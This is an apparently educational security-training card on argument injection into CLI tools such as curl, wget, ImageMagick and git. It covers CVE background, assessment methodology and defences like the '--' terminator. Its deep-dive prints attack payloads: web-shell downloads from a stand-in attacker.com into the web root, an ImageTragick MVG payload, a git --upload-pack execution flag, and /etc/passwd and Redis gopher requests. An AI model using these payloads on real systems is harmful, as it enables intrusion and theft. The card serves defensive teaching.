Argument injection
Theory
Why This Matters
Argument injection represents a subtler and frequently overlooked injection class that exists between OS command injection and business logic abuse. CVE-2016-3714 (ImageTragick) demonstrated that ImageMagick delegate rules could be manipulated via crafted filenames to execute OS commands — an argument injection variant that affected a large fraction of image-processing web applications. CVE-2021-21985 (VMware vCenter) involved argument injection into a curl invocation. Unlike command injection, argument injection does not require breaking out of the shell context — the attacker stays within the CLI tool's intended argument parser but adds flags the developer did not anticipate.
Core Concept
Argument injection occurs when user-controlled data is passed as part of a command-line argument list to an external program, and the program interprets the injected content as additional flags or options rather than as a data value. The violated invariant is that user data should be a parameter value, not a parameter name or flag.
The attacker precondition is that: (1) an application invokes an external CLI tool (curl, git, ffmpeg, ImageMagick, ssh, rsync, wget) with a user-supplied value somewhere in the argument list; (2) the user input is not fully validated against an allowlist of safe values.
The distinction from OS command injection is critical: argument injection does not use shell metacharacters (;, &&, |) and does not break out of the current process. Instead, it abuses the CLI tool's own option parser. For example, if an application runs curl <user_url>, the attacker does not inject ;id — instead they inject --config /var/www/html/uploads/evil.conf to make curl read an attacker-controlled configuration file, or -o /var/www/html/shell.php http://attacker.com/shell.php to write a web shell to a publicly accessible path.
URL-based argument injection is particularly dangerous with curl: if the application passes a user-supplied URL to curl without validation, the attacker can supply file:///etc/passwd (file scheme for local file read) or dict://127.0.0.1:6379/info (SSRF via dict protocol to Redis). These are technically SSRF but are enabled by argument injection into curl.
ImageMagick ImageTragick (CVE-2016-3714) involved the filename field of an uploaded image being passed to ImageMagick's delegate mechanism, which used the filename to construct shell commands via %i substitution in delegate patterns — effectively allowing OS command injection through a crafted filename argument.
Technical Deep-Dive
# Application: generates thumbnail from uploaded image
# Backend: convert <user_filename> -resize 200x200 thumbnail.jpg
# (convert is ImageMagick)
# Argument injection via filename:
# Filename: -write /var/www/html/shell.php
# Resulting command:
convert -write /var/www/html/shell.php -resize 200x200 thumbnail.jpg
# ImageMagick writes the input image to the web root as shell.php
# ImageTragick (CVE-2016-3714) — MVG/MSL delegate injection:
# Upload a file named: |id; #.jpg (on vulnerable ImageMagick versions)
# Or craft a .mvg file containing:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id; echo "dummy)'
pop graphic-context
# curl argument injection
# Application: curl <user_supplied_url> to fetch a remote resource
# Attacker-supplied "URL":
--config /tmp/evil.conf http://legitimate.example.com
# curl reads /tmp/evil.conf as a config file (if attacker can write there)
# File read via curl schemes (SSRF/file read):
file:///etc/passwd
dict://127.0.0.1:6379/info # Redis info disclosure
gopher://127.0.0.1:6379/_*1%0d%0a... # Redis command injection via gopher
# git argument injection
# Application: git clone <user_repo_url>
# Attacker-supplied URL:
--upload-pack=touch${IFS}/tmp/pwned http://legitimate.example.com/repo
# git passes --upload-pack value to the remote, enabling command execution
# on the client side in some git versions
# wget argument injection:
# Attacker-supplied URL:
-O /var/www/html/backdoor.php http://attacker.com/shell.php
# wget writes shell to web root
# Secure subprocess invocation — always use argument list, never shell=True
import subprocess
# VULNERABLE:
url = request.args.get('url')
subprocess.run(f'curl {url}', shell=True) # shell=True + string = command injection
# ALSO VULNERABLE (argument injection, no shell injection):
subprocess.run(['curl', url]) # shell=False but url can contain --flags
# SECURE — validate before passing:
import re
def is_safe_url(u):
return bool(re.match(r'^https?://[a-zA-Z0-9.-/]+$', u))
if not is_safe_url(url):
abort(400)
subprocess.run(['curl', '--', url]) # -- signals end of options in most tools
# After --, all arguments are treated as positional values, not flags
Security Assessment Methodology
- Identify CLI-invoking functionality — Look for image processing, file conversion, network fetch, version control, PDF generation, and archiving features. These commonly shell out to external tools.
- Determine the invoked tool — Identify whether the application uses curl, wget, ImageMagick, git, ffmpeg, or similar. Error messages, response headers, and application source often reveal this.
- Test with leading-dash values — Submit values starting with
-and--to test whether the tool's option parser accepts them. For example: filename-version, URL--help. - Test known dangerous flags for each tool — curl:
--config,-o,--proxy; ImageMagick:-write,-set; wget:-O,--config; git:--upload-pack,--exec-path. - Test file-scheme and alternative protocols — For URL parameters fed to curl/wget:
file:///etc/passwd,dict://,gopher://. - Test
--terminator bypass — Verify whether the application already uses--to terminate options. If not, confirm that flag injection is possible. - Document the injected flag, the resulting behaviour, and the impact (file write location, data read, network access) in the report.
Defensive Countermeasure — Pass
--(double-dash) before any user-supplied value to signal the end of CLI options to the target program (supported by curl, ImageMagick convert, wget, rsync, and most POSIX tools). Validate user-supplied values against a strict allowlist before use — for URLs, enforcehttps://prefix and domain allowlist; for filenames, strip leading dashes and path separators. Where possible, use native library equivalents instead of CLI tools: Python'srequestslibrary instead ofsubprocess curl, Pillow instead of ImageMagick CLI, GitPython instead ofgitsubprocess calls.
Common Assessment Errors
- Treating argument injection as OS command injection — The exploitation payloads are fundamentally different. Shell metacharacters test for command injection; leading-dash flag values test for argument injection. Using only one set of payloads misses the other class.
- Not researching the specific tool's dangerous flags — Each CLI tool has a unique set of dangerous options. Generic payload lists miss tool-specific risks. Always research the man page for write, execute, and config-load options.
- Missing URL scheme injection — For curl/wget, treating URL injection as a pure SSRF issue rather than also testing argument flags misses half the attack surface.
- Overlooking ImageMagick as a vector — Image upload features are ubiquitous. Any application that processes uploaded images is a candidate for ImageMagick argument/delegate injection.
- Not testing filenames as injection vectors — Filenames are passed as arguments and are often insufficiently validated. Test filenames with leading dashes, path traversal sequences, and shell metacharacters.
- Assuming
shell=Falseprevents argument injection — Usingsubprocess.run([cmd, user_input])withshell=Falseprevents OS command injection but does NOT prevent argument injection. The user input is still passed to the tool's option parser.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops understanding of argument injection as distinct from command injection with different payloads and mitigations |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers tool-specific dangerous flags for curl, wget, ImageMagick, and git |
| S0001 | Skill in conducting vulnerability scans | Trains systematic flag-injection testing and tool-specific payload research |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in identifying and exploiting CLI tool option parsers |
| T0028 | Test system security controls | Covers subprocess invocation review and -- terminator usage verification |
| T0591 | Perform penetration testing | Provides complete argument injection methodology for common CLI tools |
Further Reading
- Argument Injection and Getting Past Filters — Wiley / OWASP Testing Guide supplement
- CVE-2016-3714: ImageMagick Delegate Injection (ImageTragick) — ImageTragick.com disclosure
- Argument Injection When Bypassing Server-Side Argument Filters — PortSwigger Research Blog
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.